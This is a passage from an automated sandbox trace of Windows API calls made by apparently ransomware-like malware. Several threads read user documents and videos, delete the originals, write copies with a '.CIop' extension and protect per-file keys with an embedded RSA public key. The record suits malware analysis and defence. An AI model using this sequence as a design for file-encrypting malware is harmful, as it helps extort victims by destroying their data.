WriteFile (in: hFile=0x61c, lpBuffer=0x2f1a890*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a890*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0103.348] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.348] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.348] VirtualFree (lpAddress=0x3280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.348] CloseHandle (hObject=0x61c) returned 1 [0103.350] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ak8m al1ystdgk.odt")) returned 0 Thread: id = 194 os_tid = 0xe28 [0102.800] lstrcpyA (in: lpString1=0x367e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.800] lstrcpyW (in: lpString1=0x367f368, lpString2="iFWD4toa.jpg" | out: lpString1="iFWD4toa.jpg") returned="iFWD4toa.jpg" [0102.800] lstrcpyW (in: lpString1=0x367f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.800] SetErrorMode (uMode=0x1) returned 0x1 [0102.800] wsprintfW (in: param_1=0x367eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg") returned 54 [0102.800] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg", dwFileAttributes=0x20) returned 1 [0102.800] StrStrW (lpFirst="iFWD4toa.jpg", lpSrch=".CIop") returned 0x0 [0102.800] wsprintfW (in: param_1=0x367e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg.CIop") returned 59 [0102.800] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ifwd4toa.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628 [0102.801] ReadFile (in: hFile=0x628, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0x13e6e, lpNumberOfBytesRead=0x367e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x367e5e8*=0x13e6e, lpOverlapped=0x0) returned 1 [0102.802] CloseHandle (hObject=0x628) returned 1 [0102.802] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ifwd4toa.jpg")) returned 1 [0102.827] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.827] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.827] SetErrorMode (uMode=0x1) returned 0x1 [0102.827] CryptAcquireContextW (in: phProv=0x367e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x367e5b8*=0x2f1a780) returned 1 [0102.888] CryptGenKey (in: hProv=0x2f1a780, Algid=0x1, dwFlags=0x4000, phKey=0x367e5bc | out: phKey=0x367e5bc*=0x67e438) returned 1 [0103.484] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x367e5ec | out: pbData=0x0*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0103.484] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x367e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0103.484] CryptDestroyKey (hKey=0x67e438) returned 1 [0103.484] CryptReleaseContext (hProv=0x2f1a780, dwFlags=0x0) returned 1 [0103.485] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ifwd4toa.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0103.485] WriteFile (in: hFile=0x63c, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0x13e6e, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x367e5d8*=0x13e6e, lpOverlapped=0x0) returned 1 [0103.486] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13e6e [0103.486] WriteFile (in: hFile=0x63c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x367e5d8*=0x7, lpOverlapped=0x0) returned 1 [0103.486] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13e75 [0103.486] SetErrorMode (uMode=0x1) returned 0x1 [0103.486] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0103.486] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0103.487] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x367d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598 | out: pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598) returned 1 [0103.487] CryptAcquireContextW (in: phProv=0x367d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x367d5a8*=0x2f1ae68) returned 1 [0103.489] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1ae68, dwCertEncodingType=0x1, pInfo=0x691938, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x367d5b0 | out: phKey=0x367d5b0*=0x67e6f8) returned 1 [0103.489] CryptEncrypt (in: hKey=0x67e6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x367d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x367d5b4*=0x80) returned 1 [0103.489] CryptEncrypt (in: hKey=0x67e6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a4d8*, pdwDataLen=0x367d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a4d8*, pdwDataLen=0x367d5a4*=0x80) returned 1 [0103.489] WriteFile (in: hFile=0x63c, lpBuffer=0x2f1a4d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a4d8*, lpNumberOfBytesWritten=0x367e5d8*=0x80, lpOverlapped=0x0) returned 1 [0103.489] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.490] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.490] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.491] CloseHandle (hObject=0x63c) returned 1 [0103.492] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\iFWD4toa.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ifwd4toa.jpg")) returned 0 Thread: id = 195 os_tid = 0xe2c [0103.538] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.538] lstrcpyW (in: lpString1=0x312f368, lpString2="33G0h-QVWGTGNhCEha.mp4" | out: lpString1="33G0h-QVWGTGNhCEha.mp4") returned="33G0h-QVWGTGNhCEha.mp4" [0103.538] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.538] SetErrorMode (uMode=0x1) returned 0x1 [0103.538] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4") returned 64 [0103.538] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4", dwFileAttributes=0x20) returned 1 [0103.539] StrStrW (lpFirst="33G0h-QVWGTGNhCEha.mp4", lpSrch=".CIop") returned 0x0 [0103.539] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4.CIop") returned 69 [0103.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\33g0h-qvwgtgnhceha.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0103.540] ReadFile (in: hFile=0x604, lpBuffer=0x66a028, nNumberOfBytesToRead=0x12a3d, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66a028*, lpNumberOfBytesRead=0x312e5e8*=0x12a3d, lpOverlapped=0x0) returned 1 [0103.540] CloseHandle (hObject=0x604) returned 1 [0103.541] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\33g0h-qvwgtgnhceha.mp4")) returned 1 [0103.558] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0103.558] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0103.558] SetErrorMode (uMode=0x1) returned 0x1 [0103.558] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1a560) returned 1 [0103.577] CryptGenKey (in: hProv=0x2f1a560, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e738) returned 1 [0103.594] CryptExportKey (in: hKey=0x67e738, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0103.594] CryptExportKey (in: hKey=0x67e738, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0103.594] CryptDestroyKey (hKey=0x67e738) returned 1 [0103.594] CryptReleaseContext (hProv=0x2f1a560, dwFlags=0x0) returned 1 [0103.594] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\33g0h-qvwgtgnhceha.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x62c [0103.595] WriteFile (in: hFile=0x62c, lpBuffer=0x66a028*, nNumberOfBytesToWrite=0x12a3d, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66a028*, lpNumberOfBytesWritten=0x312e5d8*=0x12a3d, lpOverlapped=0x0) returned 1 [0103.596] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12a3d [0103.596] WriteFile (in: hFile=0x62c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0103.596] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12a44 [0103.596] SetErrorMode (uMode=0x1) returned 0x1 [0103.596] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0103.596] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0103.596] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0103.596] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1b2a8) returned 1 [0103.599] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b2a8, dwCertEncodingType=0x1, pInfo=0x691528, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e8f8) returned 1 [0103.599] CryptEncrypt (in: hKey=0x67e8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0103.599] CryptEncrypt (in: hKey=0x67e8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b330*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b330*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0103.599] WriteFile (in: hFile=0x62c, lpBuffer=0x2f1b330*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b330*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0103.599] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.600] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.600] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.600] CloseHandle (hObject=0x62c) returned 1 [0103.602] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\33G0h-QVWGTGNhCEha.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\33g0h-qvwgtgnhceha.mp4")) returned 0 Thread: id = 196 os_tid = 0xe30 [0103.800] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.800] lstrcpyW (in: lpString1=0x326f368, lpString2="kDpdV 3nnSnJmGqPO.ppt" | out: lpString1="kDpdV 3nnSnJmGqPO.ppt") returned="kDpdV 3nnSnJmGqPO.ppt" [0103.800] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0103.801] SetErrorMode (uMode=0x1) returned 0x1 [0103.801] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt") returned 63 [0103.801] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt", dwFileAttributes=0x20) returned 1 [0103.801] StrStrW (lpFirst="kDpdV 3nnSnJmGqPO.ppt", lpSrch=".CIop") returned 0x0 [0103.801] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt.CIop") returned 68 [0103.801] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\kdpdv 3nnsnjmgqpo.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0103.802] ReadFile (in: hFile=0x604, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0x158fe, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x326e5e8*=0x158fe, lpOverlapped=0x0) returned 1 [0103.802] CloseHandle (hObject=0x604) returned 1 [0103.803] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\kdpdv 3nnsnjmgqpo.ppt")) returned 1 [0103.814] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0103.815] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0103.815] SetErrorMode (uMode=0x1) returned 0x1 [0103.815] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1a560) returned 1 [0103.823] CryptGenKey (in: hProv=0x2f1a560, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e5f8) returned 1 [0104.051] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0104.052] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0104.052] CryptDestroyKey (hKey=0x67e5f8) returned 1 [0104.052] CryptReleaseContext (hProv=0x2f1a560, dwFlags=0x0) returned 1 [0104.052] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\kdpdv 3nnsnjmgqpo.ppt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0104.052] WriteFile (in: hFile=0x624, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0x158fe, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x326e5d8*=0x158fe, lpOverlapped=0x0) returned 1 [0104.054] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x158fe [0104.054] WriteFile (in: hFile=0x624, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0104.054] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15905 [0104.054] SetErrorMode (uMode=0x1) returned 0x1 [0104.054] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0104.054] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 